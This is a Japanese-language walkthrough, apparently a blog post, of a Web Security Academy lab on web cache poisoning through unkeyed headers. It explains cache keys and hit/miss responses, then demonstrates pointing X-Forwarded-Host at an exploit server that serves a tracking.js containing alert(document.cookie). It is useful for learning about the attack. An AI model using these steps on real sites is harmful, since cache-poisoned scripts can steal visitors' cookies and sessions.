Hello there, ('ω')ノ
キーのないヘッダーを使用したWebキャッシュポイズニングを。
くれぐれもブラウザ内に保存されているローカルキャッシュと混同しないように。

レスポンスがキャッシュサーバからのものかどうかは。
ヘッダのhit、またはmissで判断できて。
また、保存期間から。
リクエストごとにキャッシュされた応答を使用できるかどうかを判断して。
キャッシュキーが一致する場合は。
キャッシュサーバは、保存された応答で応答できると判断して。
キャッシュなしの転送ルートは以下のとおりで。
User ⇨ Cache Server ⇨ Application Server
⇩
User ⇦ Cache Server ⇦ Application Server
そのときのレスポンスは、以下のとおりで。
Cache-Control: max-age=30
Age: 0
X-Cache: miss

キャッシュされると、転送ルートは以下のように変化して。
User ⇨ Cache Server
⇩
User ⇦ Cache Server
そのときのレスポンスは、以下のとおりで。
Ageが30に達すると0にリセットされて。
Cache-Control: max-age=30
Age: 2
X-Cache: hit

さて下記が、キャッシュキーでキー入力と呼ばれるもので。
GET / HTTP/1.1
Host: ac021ff51e2bdd5080340d5f003500cb.web-security-academy.net
他は、すべてキーなし入力で、キャッシュサーバーでは無視されるので。
Webキャッシュポイズニング攻撃を考えるには。
アプリケーションサーバで考慮されるキーなし入力を見つけることで。

キーなし入力というのは、以下のようなヘッダで。
Accept:
Accept-Language:
Referer:

Sendしてみると、下記のレスポンスからサーバからの応答を確認できて。
Cache-Control: max-age=30
Age: 0
X-Cache: miss

もう一度、Sendすると今度は、キャッシュサーバからのようで。
Cache-Control: max-age=30
Age: 9
X-Cache: hit

ユーザーは、1分に1回ホームページにアクセスするとのことで。
キャッシュバスターを追加して、アクセスされないようにしておいて。
?cachebuster=12345
Sendすると新たにサーバからレスポンスがかえってきているのを確認して。
Cache-Control: max-age=30
Age: 0
X-Cache: miss

キーなしヘッダを追加して、レスポンスを確認すると反映されるのを確認して。
X-Forwarded-Host: example.com

ちなみに追加前のレスポンスは、以下のとおりで。

リクエストで得られたアドレスをファイルに。
/resources/js/tracking.js
ボディにはペイロードを。
alert(document.cookie)

エクスプロイトサーバのURLをコピーして。
https://ac531f391e2a220e805e00b801be004d.web-security-academy.net/

下記をリクエストサーバのURLに書き換えて。
現時点ではキャッシュバスタを知っている人間でないとレスポンスを得られないので。
X-Forwarded-Host: ac531f391e2a220e805e00b801be004d.web-security-academy.net

キャッシュバスタを削除して、Sendしてキャッシュに保存させて。

ホームページにもどって、リロードするとクリアできた。

Best regards, (^^ゞ